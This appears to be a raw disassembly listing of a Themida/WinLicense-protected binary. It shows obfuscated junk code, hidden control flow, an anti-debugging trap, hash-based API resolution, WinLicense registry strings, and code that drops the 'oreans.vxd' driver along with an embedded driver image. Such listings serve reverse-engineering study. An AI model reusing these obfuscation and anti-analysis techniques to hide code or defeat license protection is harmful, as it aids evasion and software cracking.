		dd 0BA000000h, 6E571214h, 8B008B61h, 244489CFh,	68F0F04h
		dd 0F000000h, 86h, 66515800h, 59E773BFh, 8501036Ah, 7FA2A39h
		dd 8589006Ah, 7FA30F9h,	6A036Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 4DDB55C3h, 1F927F59h
		dd 89B29F88h, 9E922668h, 5250568Ch, 2BBBBA66h, 585A310Fh
		dd 24048159h, 33616DDAh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0FAC35343h, 9D3CCA78h, 0D5159D8Dh, 6E807FCh
		dd 0F4000000h, 0B0D5F41Bh, 0B2935EC5h, 0E86050BFh, 7, 6F9C6FADh
		dd 8B034DB5h, 7E959D8h,	44000000h, 0A54AE936h, 93611DC4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F5C35747h
		dd 0E98FCC74h, 55CDCA81h, 0D0FF378Bh, 0E5DBD89h, 0F4007FAh
		dd 30C85h, 6E900h, 0D1BA0000h, 0C44CCD5Dh, 75BD2B58h, 5007FA16h
		dd 91436FBFh, 24048950h, 0F70CBE66h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 9F5D9BC3h
		dd 7948B13Ah, 6890F71h,	8B000000h, 0FA01158Dh, 0CF816007h
		dd 7BF52915h, 978BBA66h, 53A16861h, 8B0F8823h, 12h, 0DE9h
		dd 1EAAA700h, 6F6E89A9h, 4E084197h, 481F36Ch, 0DCACDF24h
		dd 52006A77h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 6AA4C188h, 0C5061785h, 2EBFBDC4h, 6A74919Ah
		dd 8BD18B03h, 0FA2DF995h, 0F006A07h, 684h, 0B58D2300h
		dd 6A07FA2Ah, 8E903h, 9D450000h, 38B54071h, 4E8F9B4h, 0
		dd 8BC00000h, 8B6650F9h, 24448BF0h, 3BBF6604h, 50008B31h
		dd 0FD58A52h, 5FEBBA31h, 585A3C57h, 4244489h, 66525051h
		dd 0FBBEEB9h, 5A5F5731h, 8D585F58h, 0FCD51E9Dh,	61952B07h
		dd 5007FA0Fh, 1C89F6B1h, 14E824h, 4610000h, 0A8404E54h
		dd 0E45FB6C5h, 9624793h, 8029B6C7h, 830FC824h, 6, 1C59BD33h
		dd 0FF5907FAh, 0FE8D0h,	0F00A0000h, 92C12E0Bh, 0C58E9AA1h
		dd 25CE921Ch, 0BF0F609Eh, 6EEE80F8h, 0F405F61h,	1A485h
		dd 258D8900h, 8B07FA0Dh, 0FA316DB5h, 6A5807h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 896012C3h
		dd 0FA0585BDh, 8D2B6107h, 7FA20E9h, 118E0F50h, 0E8000000h
		dd 5, 0F38CF1AFh, 0F5250D0h, 59585A31h,	0F240489h, 883h
		dd 8A0F5100h, 0
; ---------------------------------------------------------------------------
		pop	esi
		push	0
		push	0
		push	ebx
		call	sub_5B0DF6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0DF6	proc near		; CODE XREF: Themida_:005B0DEEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5B0DF6	endp

; ---------------------------------------------------------------------------
		fiadd	word ptr [eax]
		mov	al, 46h
		daa
		xor	dl, 60h
		mov	di, 0C094h
		push	1A19A739h
		jmp	loc_5B0E2D
; ---------------------------------------------------------------------------
		sbb	[edi+47h], esi
		push	ss
		scasd
		db	67h
		xchg	eax, ebx
		clc
		mov	edi, 6ABEDBD0h
		cmpsd
		int	3		; Trap to Debugger
		jo	short loc_5B0E58


loc_5B0E2D:				; CODE XREF: Themida_:005B0E17j
		xor	dword ptr [esp], 1A19A7B9h
		call	sub_5B0E44
		popf
		db	64h
		out	dx, eax
		call	far ptr	1FF8h:0F334AB4Ch
		sahf

; =============== S U B	R O U T	I N E =======================================



sub_5B0E44	proc near		; CODE XREF: Themida_:005B0E34p

var_754BCD00	= dword	ptr -754BCD00h
var_C		= dword	ptr -0Ch

		adc	edi, 6D8ABA23h
		pop	ecx
		push	3
		clc
		push	0
		movzx	ecx, di
		push	3
		pusha
		pusha
		push	eax


loc_5B0E58:				; CODE XREF: Themida_:005B0E2Bj
		pop	ecx
		mov	[ebp+7FA1539h],	edx
		popa
		popa
		push	0A3D32E58h
		add	[esp+0Ch+var_C], 1C2CD1A8h
		call	near ptr loc_5B0E84+2
		jno	short near ptr loc_5B0E74+2


loc_5B0E74:				; CODE XREF: sub_5B0E44+2Ej
		sub	[esp+esi*2+0Ch+var_754BCD00+1],	edx
		mov	ecx, 84FDE05Bh
		xchg	eax, edx
		cmpsb
		adc	al, 99h


loc_5B0E84:				; CODE XREF: sub_5B0E44+29p
		test	eax, 5ED08BA2h
sub_5B0E44	endp ; sp-analysis failed

		lea	ebx, [ebp+7FCD529h]
		xor	edx, 1116D8E2h
		mov	[ebp+7FA168Dh],	eax
		push	eax
		mov	edi, ecx
		mov	[esp], ebx
		mov	edx, 12100B35h
		mov	[ebp+7FA2781h],	edx
		call	eax
		push	0
		push	ebx
		call	sub_5B0EB9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0EB9	proc near		; CODE XREF: Themida_:005B0EB1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5B0EB9	endp

; ---------------------------------------------------------------------------
		db 0B6h, 0E6h, 0DFh
		dd 378D19A2h, 0BE8A2F2h, 0
; ---------------------------------------------------------------------------
		cmp	[ecx+3Ch], bl
		cmp	dh, [eax]
		mov	es, word ptr [ebx]
		sbb	[ebx+ebx+7E9h],	ecx
		add	ch, ah
		test	[edx-1CD6941Ah], bh
		pop	edx
		inc	eax
		jnz	loc_5B0F2D
		push	0
		push	ebp
		call	sub_5B0F01
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0F01	proc near		; CODE XREF: Themida_:005B0EF9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5B0F01	endp

; ---------------------------------------------------------------------------
		db 0CDh, 0A8h, 28h
; ---------------------------------------------------------------------------
		stosd
		sal	cl, 0FFh
		retf
; ---------------------------------------------------------------------------
		xor	eax, 0D58D310Fh
		sbb	al, 0FAh
		pop	es
		pop	eax
		jmp	loc_5B1045
; ---------------------------------------------------------------------------
		mov	edx, [ebp+7FA328Dh]


loc_5B0F2D:				; CODE XREF: Themida_:005B0EF0j
		mov	ebx, eax
		movsx	ecx, dx
		dec	ebx
		mov	[ebp+7FA02FDh],	edx
		pop	eax
		mov	esi, ebx
		mov	byte ptr [ebp+7FA0665h], 43h
		push	0
		push	ebx
		call	sub_5B0F4E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0F4E	proc near		; CODE XREF: Themida_:005B0F46p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5B0F4E	endp

; ---------------------------------------------------------------------------
		cmc
		push	esi
		mov	ah, 31h
		xchg	eax, ebp
		jns	short near ptr loc_5B0F86+2
		cli
		pop	es
		jno	loc_5B0F81
		jmp	loc_5B0F81
; ---------------------------------------------------------------------------
		dw 5CA6h
		dd 3C0F106Dh, 51D5F790h, 157C1134h
; ---------------------------------------------------------------------------
		push	ds


loc_5B0F81:				; CODE XREF: Themida_:005B0F67j
					; Themida_:005B0F6Dj
		push	59B8DC90h


loc_5B0F86:				; CODE XREF: Themida_:005B0F63j
		mov	di, dx
		add	dword ptr [esp], 66BD6E17h
		clc
		push	dword ptr [ebp+7FA08A5h]
		mov	edi, [ebp+7FA0EF1h]
		lea	eax, [ebp+7FA3AE2h]
		push	0
		push	edx
		call	sub_5B0FAE
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0FAE	proc near		; CODE XREF: Themida_:005B0FA6p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5B0FAE	endp

; ---------------------------------------------------------------------------
		push	esi
		test	[ebp-72h], bh
		db	66h
		mov	cl, 0DCh
		nop
		push	edi
		xchg	eax, ebx
		jmp	loc_5B0FD2
; ---------------------------------------------------------------------------
		db 0A8h, 0B5h, 90h
		db 0D6h, 0E8h
; ---------------------------------------------------------------------------


loc_5B0FD2:				; CODE XREF: Themida_:005B0FC8j
		call	eax
		or	[ebp+7FA2569h],	ecx
		push	eax
		pusha
		jns	$+6
		mov	eax, 299A147Dh
		popa
		mov	[esp], ebx
		mov	cx, di
		call	eax
		mov	edx, [ebp+7FA0CADh]
		ja	loc_5B1014
		call	sub_5B100D
		aaa
		cld
		xor	dh, [ebx+68h]
		daa
		sub	eax, 1BEE5FE0h
		setalc

; =============== S U B	R O U T	I N E =======================================



sub_5B100D	proc near		; CODE XREF: Themida_:005B0FFCp
		jge	$+6
		pop	edi


loc_5B1014:				; CODE XREF: Themida_:005B0FF6j
		lea	ebx, [ebp+7FA72FBh]
		or	[ebp+7FA2C95h],	ecx
		mov	eax, 1
		push	0
		push	edx
		call	sub_5B1030
		and	[edx-3Dh], bl
sub_5B100D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B1030	proc near		; CODE XREF: sub_5B100D+1Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5B1030	endp

; ---------------------------------------------------------------------------
		dd 0FFE2C454h
		db 0E3h
; ---------------------------------------------------------------------------


loc_5B1045:				; CODE XREF: Themida_:005B0F22j
		mov	eax, ecx
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5B1054
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1054	proc near		; CODE XREF: Themida_:005B104Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5B1054	endp

; ---------------------------------------------------------------------------
		adc	bl, [ecx+ebx+37h]
		ficomp	word ptr [ecx]
		jnz	loc_5B1080
		jmp	loc_5B1080
; ---------------------------------------------------------------------------
		db 3Fh,	10h, 81h
		dd 0B9E6F874h, 87FB7C8Fh
; ---------------------------------------------------------------------------


loc_5B1080:				; CODE XREF: Themida_:005B106Aj
					; Themida_:005B1070j
		cmp	dword ptr [ebp+7FA2ACDh], 0
		jnz	short loc_5B1092
		cmp	dword ptr [ebp+7FA1899h], 0
		jz	short loc_5B10AB


loc_5B1092:				; CODE XREF: Themida_:005B1087j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Fh
		mov	[ebp+7FA1581h],	eax
		lea	ebx, [ebp+7FCE28Bh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B10AB:				; CODE XREF: Themida_:005B1090j
		cmp	dword ptr [ebp+7FA1899h], 0
		jz	short loc_5B10CB
		push	eax
		push	ebx
		mov	eax, 40Fh
		mov	[ebp+7FA1581h],	eax
		lea	ebx, [ebp+7FCDF2Ch]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B10CB:				; CODE XREF: Themida_:005B10B2j
		mov	[ebp+7FA0E19h],	esi
		mov	ecx, [ebp+7FA0E29h]
		jmp	loc_5B10E7
; ---------------------------------------------------------------------------
		dd 0A04AF3Dh, 849E815Ah
		db 85h,	81h, 97h
; ---------------------------------------------------------------------------


loc_5B10E7:				; CODE XREF: Themida_:005B10D7j
		mov	eax, eax
		jmp	loc_5B1198
; ---------------------------------------------------------------------------
aSoftwareWinlic	db 'Software\WinLicense',0
aCheckin	db 'CheckIN',0
aXprotexit	db 'XprotExit',0
aCheckout	db 'CheckOUT',0
aWinlicensevers	db 'WinLicenseVersion',0
aWinlicensedriv	db 'WinLicenseDriverVersion',0
aWinlicenseinst	db 'WinLicenseInstance',0
aExitok		db 'ExitOk',0
aProcin		db 'ProcIN',0
aProcout	db 'ProcOUT',0
aExitin		db 'ExitIN',0
aExitout	db 'ExitOUT',0
aTpin		db 'TpIN',0
		align 10h
		dd 77DEB908h, 77DFD5BBh
; ---------------------------------------------------------------------------


loc_5B1198:				; CODE XREF: Themida_:005B10E9j
		jmp	loc_5B1733
; ---------------------------------------------------------------------------
		mov	[ebp+7FCDD47h],	eax
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FCDD53h]
		push	19h
		push	dword ptr [ebp+7FCDD47h]
		push	1
		push	0
		lea	eax, [ebp+7FCDCDCh]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2029h]
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FCDD4Fh]
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+7FCDD47h],	eax
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FCDD53h]
		push	4
		lea	eax, [ebp+7FCDD47h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FCDD06h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2029h]
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FCDD4Fh]
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+7FCDD47h],	eax
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FCDD53h]
		push	4
		lea	eax, [ebp+7FCDD47h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FCDCEEh]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2029h]
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FCDD4Fh]
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+7FCDD47h],	eax
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FCDD53h]
		push	4
		lea	eax, [ebp+7FCDD47h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FCDD19h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2029h]
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FCDD4Fh]
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+7FCDD47h],	eax
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FCDD53h]
		push	4
		lea	eax, [ebp+7FCDD47h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FCDCC9h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2029h]
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FCDD4Fh]
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7FA17D1h], 0
		jz	locret_5B136C
		mov	ebx, [ebp+7FA17D1h]
		add	ebx, 4Ch
		mov	[ebx], eax

locret_5B136C:				; CODE XREF: Themida_:005B135Bj
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7FA17D1h], 0
		jz	locret_5B1385
		mov	ebx, [ebp+7FA17D1h]
		add	ebx, 50h
		mov	[ebx], eax

locret_5B1385:				; CODE XREF: Themida_:005B1374j
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7FA17D1h], 0
		jz	locret_5B139E
		mov	ebx, [ebp+7FA17D1h]
		add	ebx, 54h
		mov	[ebx], eax

locret_5B139E:				; CODE XREF: Themida_:005B138Dj
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7FA17D1h], 0
		jz	locret_5B13B7
		mov	ebx, [ebp+7FA17D1h]
		add	ebx, 58h
		mov	[ebx], eax

locret_5B13B7:				; CODE XREF: Themida_:005B13A6j
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7FA17D1h], 0
		jz	locret_5B13D0
		mov	ebx, [ebp+7FA17D1h]
		add	ebx, 5Ch
		mov	[ebx], eax

locret_5B13D0:				; CODE XREF: Themida_:005B13BFj
		retn
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7FCDD47h],	eax
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FCDD53h]
		push	4
		lea	eax, [ebp+7FCDD47h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FCDD3Eh]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2029h]
		cmp	dword ptr [ebp+7FA2ACDh], 0
		jz	loc_5B142B
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FCDD4Fh]


loc_5B142B:				; CODE XREF: Themida_:005B1419j
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7FCDD47h],	eax
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FCDD53h]
		push	4
		lea	eax, [ebp+7FCDD47h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FCDD20h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2029h]
		cmp	dword ptr [ebp+7FA2ACDh], 0
		jz	loc_5B1492
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FCDD4Fh]


loc_5B1492:				; CODE XREF: Themida_:005B1480j
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7FCDD47h],	eax
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FCDD53h]
		push	4
		lea	eax, [ebp+7FCDD47h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FCDD27h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2029h]
		cmp	dword ptr [ebp+7FA2ACDh], 0
		jz	loc_5B14F9
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FCDD4Fh]


loc_5B14F9:				; CODE XREF: Themida_:005B14E7j
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7FCDD47h],	eax
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FCDD53h]
		push	4
		lea	eax, [ebp+7FCDD47h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FCDD2Fh]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2029h]
		cmp	dword ptr [ebp+7FA2ACDh], 0
		jz	loc_5B1560
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FCDD4Fh]


loc_5B1560:				; CODE XREF: Themida_:005B154Ej
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7FCDD47h],	eax
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FCDD53h]
		push	4
		lea	eax, [ebp+7FCDD47h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FCDD36h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2029h]
		cmp	dword ptr [ebp+7FA2ACDh], 0
		jz	loc_5B15C7
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FCDD4Fh]


loc_5B15C7:				; CODE XREF: Themida_:005B15B5j
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	dword ptr [ebp+7FCDD47h], 1
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000002h
		call	dword ptr [ebp+7FCDD53h]
		or	eax, eax
		jz	loc_5B1610
		mov	dword ptr [ebp+7FCDD47h], 0
		jmp	loc_5B165D
; ---------------------------------------------------------------------------


loc_5B1610:				; CODE XREF: Themida_:005B15FBj
		push	4
		lea	eax, [ebp+7FCDD47h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FCDCC1h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2029h]
		or	eax, eax
		jz	loc_5B1647
		mov	dword ptr [ebp+7FCDD47h], 0
		jmp	loc_5B1651
; ---------------------------------------------------------------------------


loc_5B1647:				; CODE XREF: Themida_:005B1632j
		mov	dword ptr [ebp+7FCDD47h], 1


loc_5B1651:				; CODE XREF: Themida_:005B1642j
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]


loc_5B165D:				; CODE XREF: Themida_:005B160Bj
		popa
		mov	eax, [ebp+7FCDD47h]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7FCDD47h],	eax
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FCDD53h]
		push	4
		lea	eax, [ebp+7FCDD47h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FCDCC1h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2029h]
		cmp	dword ptr [ebp+7FA2ACDh], 0
		jz	loc_5B16BE
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FCDD4Fh]


loc_5B16BE:				; CODE XREF: Themida_:005B16ACj
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7FCDD47h],	eax
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FCDD53h]
		push	4
		lea	eax, [ebp+7FCDD47h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7FCDCD3h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2029h]
		cmp	dword ptr [ebp+7FA2ACDh], 0
		jz	loc_5B1725
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FCDD4Fh]


loc_5B1725:				; CODE XREF: Themida_:005B1713j
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]
		popa
		retn
; ---------------------------------------------------------------------------


loc_5B1733:				; CODE XREF: Themida_:loc_5B1198j
		mov	byte ptr [ebp+7FA0665h], 52h
		push	0ADE47B07h
		push	dword ptr [ebp+7FA0AF5h]
		call	dword ptr [ebp+7FA2539h]
		mov	[ebp+7FCDD53h],	eax
		mov	byte ptr [ebp+7FA0665h], 52h
		push	902E00E5h
		push	dword ptr [ebp+7FA0AF5h]
		call	dword ptr [ebp+7FA2539h]
		mov	[ebp+7FCDD4Fh],	eax
		mov	byte ptr [ebp+7FA0665h], 52h
		push	0B9BF1235h
		push	dword ptr [ebp+7FA0AF5h]
		call	dword ptr [ebp+7FA2539h]
		mov	[ebp+7FA2029h],	eax
		mov	byte ptr [ebp+7FA0665h], 52h
		push	98781034h
		push	dword ptr [ebp+7FA0AF5h]
		call	dword ptr [ebp+7FA2539h]
		mov	[ebp+7FA2341h],	eax
		mov	byte ptr [ebp+7FA0665h], 52h
		push	0C005DBD4h
		push	dword ptr [ebp+7FA0AF5h]
		call	dword ptr [ebp+7FA2539h]
		mov	[ebp+7FA1F0Dh],	eax
		jmp	loc_5B19DC
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		align 4
		dd 67h dup(0)
		dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B19DC:				; CODE XREF: Themida_:005B17C9j
		jmp	loc_5B1AD0
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+7FA0665h], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+7FA08A5h]
		lea	eax, [ebp+7FA3AE2h]
		call	eax
		push	104h
		lea	ebx, [ebp+7FA2FADh]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+7FCE585h]
		mov	edi, esi
		xor	al, al


loc_5B1A14:				; CODE XREF: Themida_:005B1A15j
		scasb
		jnz	loc_5B1A14
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+7FA0665h], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+7FA08A5h]
		lea	eax, [ebp+7FA3AE2h]
		call	eax
		lea	esi, [ebp+7FA2FADh]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+7FA0665h], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+7FA08A5h]
		lea	eax, [ebp+7FA3AE2h]
		call	eax
		lea	edi, [ebp+7FA25D9h]
		lea	ecx, [ebp+7FCE6ABh]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_5B1AB2
		lea	esi, [ebp+7FCE38Dh]
		lea	eax, [ebp+7FCD38Ah]
		call	eax
		lea	ecx, [ebp+7FA72FBh]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5B1AB2:				; CODE XREF: Themida_:005B1A91j
		mov	byte ptr [ebp+7FA0665h], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+7FA08A5h]
		lea	eax, [ebp+7FA3AE2h]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_5B1AD0:				; CODE XREF: Themida_:loc_5B19DCj
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_5B1AE7
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_5B1AE7:				; CODE XREF: Themida_:005B1AE0j
		jmp	loc_5B52BC
; ---------------------------------------------------------------------------
		dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0
		dd 40h,	8 dup(0)
		dd 0B0h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
		dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
		dd 454Ch, 0
		dd 40002h, 0
		dd 38000h, 14h,	4 dup(0)
		dd 200h, 1C0h, 90h, 0
		dd 7Eh,	0
		dd 0C4h, 1, 0DCh, 3 dup(0)
		dd 12Ch, 138h, 2 dup(0)
		dd 142h, 196h, 1D2h, 0
		dd 1D2h, 0
		dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
		dd 4000000h, 27C0h, 0
		dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
		dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
		dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h,	110000h
		dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
		dd 10301h, 3, 0
		dd 13h dup(70000h), 3C0000h, 70000h, 60010018h,	0AD000727h
		dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
		dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
		dd 7279801h, 1016B00h, 2771h, 360h dup(0)
		dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp		db 'verPP',0
		align 10h
a1vsr2vsr3vsr	db '1vsR2vsR3vsR',0
		align 10h
		dd 9C3h	dup(0)
; ---------------------------------------------------------------------------
		sub	eax, 1Bh
		cmp	eax, 9
		jnb	short loc_5B525B
